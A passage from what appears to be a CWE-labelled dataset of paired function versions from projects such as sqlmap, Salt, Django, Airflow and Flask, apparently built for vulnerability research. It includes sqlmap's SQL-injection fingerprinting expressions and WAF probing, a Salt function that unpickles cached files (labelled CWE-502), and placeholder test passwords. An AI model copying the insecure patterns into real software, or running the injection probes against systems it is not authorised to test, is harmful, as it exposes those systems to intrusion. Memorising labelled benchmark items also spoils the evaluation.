    env_variables[""TEST_TYPE""] = exec_shell_params.test_type
    if ""["" in exec_shell_params.test_type and not exec_shell_params.test_type.startswith(""Providers""):
        get_console(output=output).print(
            ""[error]Only 'Providers' test type can specify actual tests with \\[\\][/]""
        )
        sys.exit(1)
    project_name = _file_name_from_test_type(exec_shell_params.test_type)
    down_cmd = [
        *DOCKER_COMPOSE_COMMAND,
        ""--project-name"",
        f""airflow-test-{project_name}"",
        ""down"",
        ""--remove-orphans"",
    ]
    run_command(down_cmd, env=env_variables, output=output, check=False)
    run_cmd = [
        *DOCKER_COMPOSE_COMMAND,
        ""--project-name"",
        f""airflow-test-{project_name}"",
        ""run"",
        ""-T"",
        ""--service-ports"",
        ""--rm"",
        ""airflow"",
    ]
    run_cmd.extend(list(extra_pytest_args))
    try:
        result = run_command(
            run_cmd,
            env=env_variables,
            output=output,
            check=False,
            output_outside_the_group=output_outside_the_group,
        )
        if os.environ.get(""CI"") == ""true"" and result.returncode != 0:
            ps_result = run_command(
                [""docker"", ""ps"", ""--all"", ""--format"", ""{{.Names}}""],
                check=True,
                capture_output=True,
                text=True,
            )
            container_ids = ps_result.stdout.splitlines()
            get_console(output=output).print(
                f""[info]Error {ps_result.returncode}. Dumping containers: {container_ids}.""
            )
            date_str = datetime.now().strftime(""%Y_%d_%m_%H_%M_%S"")
            for container_id in container_ids:
                dump_path = FILES_DIR / f""container_logs_{container_id}_{date_str}.log""
                get_console(output=output).print(f""[info]Dumping container {container_id} to {dump_path}"")
                with open(dump_path, ""w"") as outfile:
                    run_command([""docker"", ""logs"", container_id], check=False, stdout=outfile)
    finally:
        run_command(
            [
                *DOCKER_COMPOSE_COMMAND,
                ""--project-name"",
                f""airflow-test-{project_name}"",
                ""rm"",
                ""--stop"",
                ""--force"",
                ""-v"",
            ],
            env=env_variables,
            output=output,
            check=False,
            verbose_override=False,
        )
    return result.returncode, f""Test: {exec_shell_params.test_type}"""
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/safe3.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, _ = get_page(get=vector)
        retval |= re.search(r""Safe3WAF"", headers.get(HTTP_HEADER.X_POWERED_BY, """"), re.I) is not None
        retval |= re.search(r""Safe3 Web Firewall"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        retval |= all(_ in (page or """") for _ in (""403 Forbidden"", ""Safe3waf/""))
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,9043d9dd05a3b9470abeacd9510752999a7479ae,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, _ = get_page(get=vector)
        retval = re.search(r""Safe3WAF"", headers.get(HTTP_HEADER.X_POWERED_BY, """"), re.I) is not None
        retval |= re.search(r""Safe3 Web Firewall"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        retval |= all(_ in (page or """") for _ in (""403 Forbidden"", ""Safe3waf/""))
        if retval:
            break

    return retval"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/web.py,0,"def clear(self):
        """"""Resets all headers and content for this response.""""""
        self._headers = httputil.HTTPHeaders({
            ""Server"": ""TornadoServer/%s"" % tornado.version,
            ""Content-Type"": ""text/html; charset=UTF-8"",
            ""Date"": httputil.format_timestamp(time.time()),
        })
        self.set_default_headers()
        if (not self.request.supports_http_1_1() and
            getattr(self.request, 'connection', None) and
                not self.request.connection.no_keep_alive):
            conn_header = self.request.headers.get(""Connection"")
            if conn_header and (conn_header.lower() == ""keep-alive""):
                self.set_header(""Connection"", ""Keep-Alive"")
        self._write_buffer = []
        self._status_code = 200
        self._reason = httputil.responses[200]",CWE-Unknown,tornadoweb/tornado,210312c4aed28c91febbfd73f9c4d2cbba8c6d59,"def clear(self):
        """"""Resets all headers and content for this response.""""""
        self._headers = httputil.HTTPHeaders({
            ""Server"": ""TornadoServer/%s"" % tornado.version,
            ""Content-Type"": ""text/html; charset=UTF-8"",
            ""Date"": httputil.format_timestamp(time.time()),
        })
        self.set_default_headers()
        if (not self.request.supports_http_1_1() and
            getattr(self.request, 'connection', None) and
            not self.request.connection.no_keep_alive):
            conn_header = self.request.headers.get(""Connection"")
            if conn_header and (conn_header.lower() == ""keep-alive""):
                self.set_header(""Connection"", ""Keep-Alive"")
        self._write_buffer = []
        self._status_code = 200
        self._reason = httputil.responses[200]"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/event.py,0,"def send(
    tag,
    data=None,
    preload=None,
    with_env=False,
    with_grains=False,
    with_pillar=False,
    with_env_opts=False,
    **kwargs
):
    """"""
    Send an event to the Salt Master

    .. versionadded:: 2014.7.0

    :param tag: A tag to give the event.
        Use slashes to create a namespace for related events. E.g.,
        ``myco/build/buildserver1/start``, ``myco/build/buildserver1/success``,
        ``myco/build/buildserver1/failure``.

    :param data: A dictionary of data to send in the event.
        This is free-form. Send any data points that are needed for whoever is
        consuming the event. Arguments on the CLI are interpreted as YAML so
        complex data structures are possible.

    :param with_env: Include environment variables from the current shell
        environment in the event data as ``environ``.. This is a short-hand for
        working with systems that seed the environment with relevant data such
        as Jenkins.
    :type with_env: Specify ``True`` to include all environment variables, or
        specify a list of strings of variable names to include.

    :param with_grains: Include grains from the current minion in the event
        data as ``grains``.
    :type with_grains: Specify ``True`` to include all grains, or specify a
        list of strings of grain names to include.

    :param with_pillar: Include Pillar values from the current minion in the
        event data as ``pillar``. Remember Pillar data is often sensitive data
        so be careful. This is useful for passing ephemeral Pillar values
        through an event. Such as passing the ``pillar={}`` kwarg in
        :py:func:`state.sls <salt.modules.state.sls>` from the Master, through
        an event on the Minion, then back to the Master.
    :type with_pillar: Specify ``True`` to include all Pillar values, or
        specify a list of strings of Pillar keys to include. It is a
        best-practice to only specify a relevant subset of Pillar data.

    :param with_env_opts: Include ``saltenv`` and ``pillarenv`` set on minion
        at the moment when event is send into event data.
    :type with_env_opts: Specify ``True`` to include ``saltenv`` and
        ``pillarenv`` values or ``False`` to omit them.

    :param kwargs: Any additional keyword arguments passed to this function
        will be interpreted as key-value pairs and included in the event data.
        This provides a convenient alternative to YAML for simple values.

    CLI Example:

    .. code-block:: bash

        salt-call event.send myco/mytag foo=Foo bar=Bar
        salt-call event.send 'myco/mytag' '{foo: Foo, bar: Bar}'

    A convenient way to allow Jenkins to execute ``salt-call`` is via sudo. The
    following rule in sudoers will allow the ``jenkins`` user to run only the
    following command.

    ``/etc/sudoers`` (allow preserving the environment):

    .. code-block:: text

        jenkins ALL=(ALL) NOPASSWD:SETENV: /usr/bin/salt-call event.send*

    Call Jenkins via sudo (preserve the environment):

    .. code-block:: bash

        sudo -E salt-call event.send myco/jenkins/build/success with_env=[BUILD_ID, BUILD_URL, GIT_BRANCH, GIT_COMMIT]

    """"""
    data_dict = {}

    if with_env:
        if isinstance(with_env, list):
            data_dict[""environ""] = _dict_subset(with_env, dict(os.environ))
        else:
            data_dict[""environ""] = dict(os.environ)

    if with_grains:
        if isinstance(with_grains, list):
            data_dict[""grains""] = _dict_subset(with_grains, __grains__)
        else:
            data_dict[""grains""] = __grains__.value()

    if with_pillar:
        if isinstance(with_pillar, list):
            data_dict[""pillar""] = _dict_subset(with_pillar, __pillar__)
        else:
            data_dict[""pillar""] = __pillar__.value()

    if with_env_opts:
        data_dict[""saltenv""] = __opts__.get(""saltenv"", ""base"")
        data_dict[""pillarenv""] = __opts__.get(""pillarenv"")

    if kwargs:
        data_dict.update(kwargs)

    # Allow values in the ``data`` arg to override any of the above values.
    if isinstance(data, Mapping):
        data_dict.update(data)

    if (
        __opts__.get(""local"")
        or __opts__.get(""file_client"") == ""local""
        or __opts__.get(""master_type"") == ""disable""
    ) and not __opts__.get(""use_master_when_local""):
        return fire(data_dict, tag)
    else:
        return fire_master(data_dict, tag, preload=preload)",,saltstack/salt,374723c3abedee9ea5a399b566b460497b3885f6,"def send(
    tag,
    data=None,
    preload=None,
    with_env=False,
    with_grains=False,
    with_pillar=False,
    with_env_opts=False,
    **kwargs
):
    """"""
    Send an event to the Salt Master

    .. versionadded:: 2014.7.0

    :param tag: A tag to give the event.
        Use slashes to create a namespace for related events. E.g.,
        ``myco/build/buildserver1/start``, ``myco/build/buildserver1/success``,
        ``myco/build/buildserver1/failure``.

    :param data: A dictionary of data to send in the event.
        This is free-form. Send any data points that are needed for whoever is
        consuming the event. Arguments on the CLI are interpreted as YAML so
        complex data structures are possible.

    :param with_env: Include environment variables from the current shell
        environment in the event data as ``environ``.. This is a short-hand for
        working with systems that seed the environment with relevant data such
        as Jenkins.
    :type with_env: Specify ``True`` to include all environment variables, or
        specify a list of strings of variable names to include.

    :param with_grains: Include grains from the current minion in the event
        data as ``grains``.
    :type with_grains: Specify ``True`` to include all grains, or specify a
        list of strings of grain names to include.

    :param with_pillar: Include Pillar values from the current minion in the
        event data as ``pillar``. Remember Pillar data is often sensitive data
        so be careful. This is useful for passing ephemeral Pillar values
        through an event. Such as passing the ``pillar={}`` kwarg in
        :py:func:`state.sls <salt.modules.state.sls>` from the Master, through
        an event on the Minion, then back to the Master.
    :type with_pillar: Specify ``True`` to include all Pillar values, or
        specify a list of strings of Pillar keys to include. It is a
        best-practice to only specify a relevant subset of Pillar data.

    :param with_env_opts: Include ``saltenv`` and ``pillarenv`` set on minion
        at the moment when event is send into event data.
    :type with_env_opts: Specify ``True`` to include ``saltenv`` and
        ``pillarenv`` values or ``False`` to omit them.

    :param kwargs: Any additional keyword arguments passed to this function
        will be interpreted as key-value pairs and included in the event data.
        This provides a convenient alternative to YAML for simple values.

    CLI Example:

    .. code-block:: bash

        salt-call event.send myco/mytag foo=Foo bar=Bar
        salt-call event.send 'myco/mytag' '{foo: Foo, bar: Bar}'

    A convenient way to allow Jenkins to execute ``salt-call`` is via sudo. The
    following rule in sudoers will allow the ``jenkins`` user to run only the
    following command.

    ``/etc/sudoers`` (allow preserving the environment):

    .. code-block:: text

        jenkins ALL=(ALL) NOPASSWD:SETENV: /usr/bin/salt-call event.send*

    Call Jenkins via sudo (preserve the environment):

    .. code-block:: bash

        sudo -E salt-call event.send myco/jenkins/build/success with_env=[BUILD_ID, BUILD_URL, GIT_BRANCH, GIT_COMMIT]

    """"""
    data_dict = {}

    if with_env:
        if isinstance(with_env, list):
            data_dict[""environ""] = _dict_subset(with_env, dict(os.environ))
        else:
            data_dict[""environ""] = dict(os.environ)

    if with_grains:
        if isinstance(with_grains, list):
            data_dict[""grains""] = _dict_subset(with_grains, __grains__)
        else:
            data_dict[""grains""] = __grains__

    if with_pillar:
        if isinstance(with_pillar, list):
            data_dict[""pillar""] = _dict_subset(with_pillar, __pillar__)
        else:
            data_dict[""pillar""] = __pillar__

    if with_env_opts:
        data_dict[""saltenv""] = __opts__.get(""saltenv"", ""base"")
        data_dict[""pillarenv""] = __opts__.get(""pillarenv"")

    if kwargs:
        data_dict.update(kwargs)

    # Allow values in the ``data`` arg to override any of the above values.
    if isinstance(data, Mapping):
        data_dict.update(data)

    if (
        __opts__.get(""local"")
        or __opts__.get(""file_client"") == ""local""
        or __opts__.get(""master_type"") == ""disable""
    ) and not __opts__.get(""use_master_when_local""):
        return fire(data_dict, tag)
    else:
        return fire_master(data_dict, tag, preload=preload)"
,UNKNOWN,UNKNOWN,tests/dbshell/test_mysql.py,1,"def test_options_charset(self):
        expected_args = [
            ""mysql"",
            ""--user=someuser"",
            ""--host=somehost"",
            ""--port=444"",
            ""--default-character-set=utf8mb4"",
            ""somedbname"",
        ]
        expected_env = {""MYSQL_PWD"": ""somepassword""}
        self.assertEqual(
            self.settings_to_cmd_args_env(
                {
                    ""NAME"": ""somedbname"",
                    ""USER"": ""someuser"",
                    ""PASSWORD"": ""somepassword"",
                    ""HOST"": ""somehost"",
                    ""PORT"": 444,
                    ""OPTIONS"": {""charset"": ""utf8mb4""},
                }
            ),
            (expected_args, expected_env),
        )",CWE-259,django/django,9609b48b9149aa0b96208588b99ce6161be6a287,"def test_options_charset(self):
        expected_args = [
            ""mysql"",
            ""--user=someuser"",
            ""--host=somehost"",
            ""--port=444"",
            ""--default-character-set=utf8"",
            ""somedbname"",
        ]
        expected_env = {""MYSQL_PWD"": ""somepassword""}
        self.assertEqual(
            self.settings_to_cmd_args_env(
                {
                    ""NAME"": ""somedbname"",
                    ""USER"": ""someuser"",
                    ""PASSWORD"": ""somepassword"",
                    ""HOST"": ""somehost"",
                    ""PORT"": 444,
                    ""OPTIONS"": {""charset"": ""utf8""},
                }
            ),
            (expected_args, expected_env),
        )"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/ctx.py,0,"def has_request_context() -> bool:
    """"""If you have code that wants to test if a request context is there or
    not this function can be used.  For instance, you may want to take advantage
    of request information if the request object is available, but fail
    silently if it is unavailable.

    ::

        class User(db.Model):

            def __init__(self, username, remote_addr=None):
                self.username = username
                if remote_addr is None and has_request_context():
                    remote_addr = request.remote_addr
                self.remote_addr = remote_addr

    Alternatively you can also just test any of the context bound objects
    (such as :class:`request` or :class:`g`) for truthness::

        class User(db.Model):

            def __init__(self, username, remote_addr=None):
                self.username = username
                if remote_addr is None and request:
                    remote_addr = request.remote_addr
                self.remote_addr = remote_addr

    .. versionadded:: 0.7
    """"""
    return _cv_request.get(None) is not None",,pallets/flask,095651be9eec58ddb0c2eb6158318b1c703c67c5,"def has_request_context() -> bool:
    """"""If you have code that wants to test if a request context is there or
    not this function can be used.  For instance, you may want to take advantage
    of request information if the request object is available, but fail
    silently if it is unavailable.

    ::

        class User(db.Model):

            def __init__(self, username, remote_addr=None):
                self.username = username
                if remote_addr is None and has_request_context():
                    remote_addr = request.remote_addr
                self.remote_addr = remote_addr

    Alternatively you can also just test any of the context bound objects
    (such as :class:`request` or :class:`g`) for truthness::

        class User(db.Model):

            def __init__(self, username, remote_addr=None):
                self.username = username
                if remote_addr is None and request:
                    remote_addr = request.remote_addr
                self.remote_addr = remote_addr

    .. versionadded:: 0.7
    """"""
    return _cv_app.get(None) is not None"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_pool_endpoint.py,1,"def test_response_200(self, session):
        pool_model = Pool(pool=""test_pool_a"", slots=3, include_deferred=True)
        session.add(pool_model)
        session.commit()
        result = session.query(Pool).all()
        assert len(result) == 2  # accounts for the default pool as well
        response = self.client.get(""/api/v1/pools"", environ_overrides={""REMOTE_USER"": ""test""})
        assert response.status_code == 200
        assert response.json == {
            ""pools"": [
                {
                    ""name"": ""default_pool"",
                    ""slots"": 128,
                    ""occupied_slots"": 0,
                    ""running_slots"": 0,
                    ""queued_slots"": 0,
                    ""scheduled_slots"": 0,
                    ""deferred_slots"": 0,
                    ""open_slots"": 128,
                    ""description"": ""Default pool"",
                    ""include_deferred"": False,
                },
                {
                    ""name"": ""test_pool_a"",
                    ""slots"": 3,
                    ""occupied_slots"": 0,
                    ""running_slots"": 0,
                    ""queued_slots"": 0,
                    ""scheduled_slots"": 0,
                    ""deferred_slots"": 0,
                    ""open_slots"": 3,
                    ""description"": None,
                    ""include_deferred"": True,
                },
            ],
            ""total_entries"": 2,
        }",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_response_200(self, session):
        pool_model = Pool(pool=""test_pool_a"", slots=3, include_deferred=True)
        session.add(pool_model)
        session.commit()
        result = session.query(Pool).all()
        assert len(result) == 2  # accounts for the default pool as well
        response = self.client.get(""/api/v1/pools"", environ_overrides={""REMOTE_USER"": ""test""})
        assert response.status_code == 200
        assert {
            ""pools"": [
                {
                    ""name"": ""default_pool"",
                    ""slots"": 128,
                    ""occupied_slots"": 0,
                    ""running_slots"": 0,
                    ""queued_slots"": 0,
                    ""scheduled_slots"": 0,
                    ""deferred_slots"": 0,
                    ""open_slots"": 128,
                    ""description"": ""Default pool"",
                    ""include_deferred"": False,
                },
                {
                    ""name"": ""test_pool_a"",
                    ""slots"": 3,
                    ""occupied_slots"": 0,
                    ""running_slots"": 0,
                    ""queued_slots"": 0,
                    ""scheduled_slots"": 0,
                    ""deferred_slots"": 0,
                    ""open_slots"": 3,
                    ""description"": None,
                    ""include_deferred"": True,
                },
            ],
            ""total_entries"": 2,
        } == response.json"
,UNKNOWN,UNKNOWN,tests/admin_widgets/tests.py,1,"def test_filter(self):
        """"""
        Ensure that typing in the search box filters out options displayed in
        the 'from' box.
        """"""
        from selenium.webdriver.common.keys import Keys

        self.school.students = [self.lisa, self.peter]
        self.school.alumni = [self.lisa, self.peter]
        self.school.save()

        self.admin_login(username='super', password='secret', login_url='/')
        self.selenium.get(
            '%s%s' % (self.live_server_url, '/admin_widgets/school/%s/' % self.school.id))

        for field_name in ['students', 'alumni']:
            from_box = '#id_%s_from' % field_name
            to_box = '#id_%s_to' % field_name
            choose_link = '#id_%s_add_link' % field_name
            remove_link = '#id_%s_remove_link' % field_name
            input = self.selenium.find_element_by_css_selector('#id_%s_input' % field_name)

            # Initial values
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.bob.id),
                         str(self.cliff.id), str(self.jason.id),
                         str(self.jenny.id), str(self.john.id)])

            # Typing in some characters filters out non-matching options
            input.send_keys('a')
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            input.send_keys('R')
            self.assertSelectOptions(from_box, [str(self.arthur.id)])

            # Clearing the text box makes the other options reappear
            input.send_keys([Keys.BACK_SPACE])
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            input.send_keys([Keys.BACK_SPACE])
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.bob.id),
                         str(self.cliff.id), str(self.jason.id),
                         str(self.jenny.id), str(self.john.id)])

            # -----------------------------------------------------------------
            # Check that chosing a filtered option sends it properly to the
            # 'to' box.
            input.send_keys('a')
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            self.get_select_option(from_box, str(self.jason.id)).click()
            self.selenium.find_element_by_css_selector(choose_link).click()
            self.assertSelectOptions(from_box, [str(self.arthur.id)])
            self.assertSelectOptions(to_box,
                        [str(self.lisa.id), str(self.peter.id),
                         str(self.jason.id)])

            self.get_select_option(to_box, str(self.lisa.id)).click()
            self.selenium.find_element_by_css_selector(remove_link).click()
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.lisa.id)])
            self.assertSelectOptions(to_box,
                        [str(self.peter.id), str(self.jason.id)])

            input.send_keys([Keys.BACK_SPACE])  # Clear text box
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.bob.id),
                         str(self.cliff.id), str(self.jenny.id),
                         str(self.john.id), str(self.lisa.id)])
            self.assertSelectOptions(to_box,
                        [str(self.peter.id), str(self.jason.id)])

        # Save and check that everything is properly stored in the database ---
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.wait_page_loaded()
        self.school = models.School.objects.get(id=self.school.id)  # Reload from database
        self.assertEqual(list(self.school.students.all()),
                         [self.jason, self.peter])
        self.assertEqual(list(self.school.alumni.all()),
                         [self.jason, self.peter])",CWE-259,django/django,8eec2d93b6e93b8a1107fb3de2acd68d6994d6ec,"def test_filter(self):
        """"""
        Ensure that typing in the search box filters out options displayed in
        the 'from' box.
        """"""
        from selenium.webdriver.common.keys import Keys

        self.school.students = [self.lisa, self.peter]
        self.school.alumni = [self.lisa, self.peter]
        self.school.save()

        self.admin_login(username='super', password='secret', login_url='/')
        self.selenium.get(
            '%s%s' % (self.live_server_url, '/admin_widgets/school/%s/' % self.school.id))

        for field_name in ['students', 'alumni']:
            from_box = '#id_%s_from' % field_name
            to_box = '#id_%s_to' % field_name
            choose_link = '#id_%s_add_link' % field_name
            remove_link = '#id_%s_remove_link' % field_name
            input = self.selenium.find_element_by_css_selector('#id_%s_input' % field_name)

            # Initial values
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.bob.id),
                         str(self.cliff.id), str(self.jason.id),
                         str(self.jenny.id), str(self.john.id)])

            # Typing in some characters filters out non-matching options
            input.send_keys('a')
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            input.send_keys('R')
            self.assertSelectOptions(from_box, [str(self.arthur.id)])

            # Clearing the text box makes the other options reappear
            input.send_keys([Keys.BACK_SPACE])
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            input.send_keys([Keys.BACK_SPACE])
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.bob.id),
                         str(self.cliff.id), str(self.jason.id),
                         str(self.jenny.id), str(self.john.id)])

            # -----------------------------------------------------------------
            # Check that chosing a filtered option sends it properly to the
            # 'to' box.
            input.send_keys('a')
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            self.get_select_option(from_box, str(self.jason.id)).click()
            self.selenium.find_element_by_css_selector(choose_link).click()
            self.assertSelectOptions(from_box, [str(self.arthur.id)])
            self.assertSelectOptions(to_box,
                        [str(self.lisa.id), str(self.peter.id),
                         str(self.jason.id)])

            self.get_select_option(to_box, str(self.lisa.id)).click()
            self.selenium.find_element_by_css_selector(remove_link).click()
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.lisa.id)])
            self.assertSelectOptions(to_box,
                        [str(self.peter.id), str(self.jason.id)])

            input.send_keys([Keys.BACK_SPACE]) # Clear text box
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.bob.id),
                         str(self.cliff.id), str(self.jenny.id),
                         str(self.john.id), str(self.lisa.id)])
            self.assertSelectOptions(to_box,
                        [str(self.peter.id), str(self.jason.id)])

        # Save and check that everything is properly stored in the database ---
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.wait_page_loaded()
        self.school = models.School.objects.get(id=self.school.id) # Reload from database
        self.assertEqual(list(self.school.students.all()),
                         [self.jason, self.peter])
        self.assertEqual(list(self.school.alumni.all()),
                         [self.jason, self.peter])"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/utils/test_url.py,0,"def test_create_url_saltenv(self):
        """"""
        Test creating a 'salt://' URL with a saltenv
        """"""
        saltenv = ""raumklang""
        path = ""? interesting/&path.filetype""
        if salt.utils.platform.is_windows():
            path = ""_ interesting/&path.filetype""

        url = ""salt://"" + path + ""?saltenv="" + saltenv

        self.assertEqual(salt.utils.url.create(path, saltenv), url)",,saltstack/salt,fb3579d64837fedbe9868fd4ea7a9fc8542ff48f,"def test_create_url_saltenv(self):
        """"""
        Test creating a 'salt://' URL with a saltenv
        """"""
        saltenv = ""raumklang""
        path = ""? interesting/&path.filetype""
        if salt.utils.platform.is_windows():
            path = ""_ interesting/&path.filetype""

        url = ""salt://"" + path + ""?saltenv="" + saltenv

        self.assertEqual(salt.utils.url.create(path, saltenv), url)"
,UNKNOWN,UNKNOWN,salt/client.py,1,"def get_returns(self, jid, minions, timeout=5):
        '''
        This method starts off a watcher looking at the return data for a
        specified jid
        '''
        jid_dir = os.path.join(self.opts['cachedir'], 'jobs', jid)
        start = 999999999999
        ret = {}
        # Wait for the hosts to check in
        while True:
            for fn_ in os.listdir(jid_dir):
                if fn_.startswith('.'):
                    continue
                if not ret.has_key(fn_):
                    retp = os.path.join(jid_dir, fn_, 'return.p')
                    if not os.path.isfile(retp):
                        continue
                    ret[fn_] = pickle.load(open(retp, 'r'))
            if ret and start == 999999999999:
                start = int(time.time())
            if len(ret) >= len(minions):
                return ret
            if int(time.time()) > start + timeout:
                return ret
            time.sleep(0.02)",CWE-502,saltstack/salt,6a56431446c4503a9baeb466b5eb5b598e6c53e9,"def get_returns(self, jid, minions, timeout=5):
        '''
        This method starts off a watcher looking at the return data for a
        specified jid
        '''
        jid_dir = os.path.join(self.opts['cachedir'], 'jobs', jid)
        start = 999999999999
        ret = {}
        # Wait for the hosts to check in
        while True:
            for fn_ in os.listdir(jid_dir):
                if fn_.startswith('.'):
                    continue
                if not ret.has_key(fn_):
                    retp = os.path.join(jid_dir, fn_, 'return.p')
                    if not os.path.isfile(retp):
                        continue
                    ret[fn_] = pickle.load(open(retp, 'r'))
            if ret:
                start = int(time.time())
            if len(ret) >= len(minions):
                return ret
            if int(time.time()) > start + timeout:
                return ret
            time.sleep(0.02)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/mysql/fingerprint.py,0,"def checkDbms(self):
        """"""
        References for fingerprint:

        * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
        * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
        * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
        * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
        * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
        """"""

        if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \
           or conf.dbms in MYSQL_ALIASES) and Backend.getVersion() and \
           Backend.getVersion() != UNKNOWN_DBMS_VERSION:
            v = Backend.getVersion().replace("">"", """")
            v = v.replace(""="", """")
            v = v.replace("" "", """")

            Backend.setVersion(v)

            setDbms(""%s %s"" % (DBMS.MYSQL, Backend.getVersion()))

            if Backend.isVersionGreaterOrEqualThan(""5""):
                kb.data.has_information_schema = True

            self.getBanner()

            return True

        infoMsg = ""testing %s"" % DBMS.MYSQL
        logger.info(infoMsg)

        randInt = getUnicode(randomInt(1))
        result = inject.checkBooleanExpression(""CONNECTION_ID()=CONNECTION_ID()"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.MYSQL
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""USER()=USER()"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.MYSQL
                logger.warn(warnMsg)

                return False

            # Determine if it is MySQL >= 5.0.0
            # reading information_schema on some platforms is causing annoying timeout exits
            #if inject.checkBooleanExpression(""EXISTS(SELECT %s FROM information_schema.TABLES)"" % randInt):
            if inject.checkBooleanExpression(""ISNULL(TIMESTAMPADD(MINUTE,%s,%s))"" % (randInt, randInt)):
                kb.data.has_information_schema = True
                Backend.setVersion("">= 5.0.0"")
                setDbms(""%s 5"" % DBMS.MYSQL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                infoMsg = ""actively fingerprinting %s"" % DBMS.MYSQL
                logger.info(infoMsg)

                # Check if it is MySQL >= 5.5.0
                if inject.checkBooleanExpression(""TO_SECONDS(950501)>0""):
                    Backend.setVersion("">= 5.5.0"")

                # Check if it is MySQL >= 5.1.2 and < 5.5.0
                elif inject.checkBooleanExpression(""@@table_open_cache=@@table_open_cache""):
                    if inject.checkBooleanExpression(""%s=(SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)"" % (randInt, randInt)):
                        Backend.setVersionList(["">= 5.1.12"", ""< 5.5.0""])
                    elif inject.checkBooleanExpression(""%s=(SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1)"" % (randInt,randInt)):
                        Backend.setVersionList(["">= 5.1.7"", ""< 5.1.12""])
                    elif inject.checkBooleanExpression(""%s=(SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1)"" % (randInt, randInt)):
                        Backend.setVersion(""= 5.1.6"")
                    elif inject.checkBooleanExpression(""%s=(SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1)"" % (randInt, randInt)):
                        Backend.setVersionList(["">= 5.1.5"", ""< 5.1.6""])
                    else:
                        Backend.setVersionList(["">= 5.1.2"", ""< 5.1.5""])

                # Check if it is MySQL >= 5.0.0 and < 5.1.2
                elif inject.checkBooleanExpression(""@@hostname=@@hostname""):
                    Backend.setVersionList(["">= 5.0.38"", ""< 5.1.2""])
                elif inject.checkBooleanExpression(""@@character_set_filesystem=@@character_set_filesystem""):
                    Backend.setVersionList(["">= 5.0.19"", ""< 5.0.38""])
                elif not inject.checkBooleanExpression(""%s=(SELECT %s FROM DUAL WHERE %s!=%s)"" % (randInt, randInt, randInt, randInt)):
                    Backend.setVersionList(["">= 5.0.11"", ""< 5.0.19""])
                elif inject.checkBooleanExpression(""@@div_precision_increment=@@div_precision_increment""):
                    Backend.setVersionList(["">= 5.0.6"", ""< 5.0.11""])
                elif inject.checkBooleanExpression(""@@automatic_sp_privileges=@@automatic_sp_privileges""):
                    Backend.setVersionList(["">= 5.0.3"", ""< 5.0.6""])
                else:
                    Backend.setVersionList(["">= 5.0.0"", ""< 5.0.3""])

            # For cases when information_schema is missing
            elif inject.checkBooleanExpression(""DATABASE() LIKE SCHEMA()""):
                Backend.setVersion("">= 5.0.2"")
                setDbms(""%s 5"" % DBMS.MYSQL)
                self.getBanner()

            elif inject.checkBooleanExpression(""STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0""):
                Backend.setVersion(""< 5.0.0"")
                setDbms(""%s 4"" % DBMS.MYSQL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                # Check which version of MySQL < 5.0.0 it is
                if inject.checkBooleanExpression(""3=(SELECT COERCIBILITY(USER()))""):
                    Backend.setVersionList(["">= 4.1.11"", ""< 5.0.0""])
                elif inject.checkBooleanExpression(""2=(SELECT COERCIBILITY(USER()))""):
                    Backend.setVersionList(["">= 4.1.1"", ""< 4.1.11""])
                elif inject.checkBooleanExpression(""CURRENT_USER()=CURRENT_USER()""):
                    Backend.setVersionList(["">= 4.0.6"", ""< 4.1.1""])

                    if inject.checkBooleanExpression(""'utf8'=(SELECT CHARSET(CURRENT_USER()))""):
                        Backend.setVersion(""= 4.1.0"")
                    else:
                        Backend.setVersionList(["">= 4.0.6"", ""< 4.1.0""])
                else:
                    Backend.setVersionList(["">= 4.0.0"", ""< 4.0.6""])
            else:
                Backend.setVersion(""< 4.0.0"")
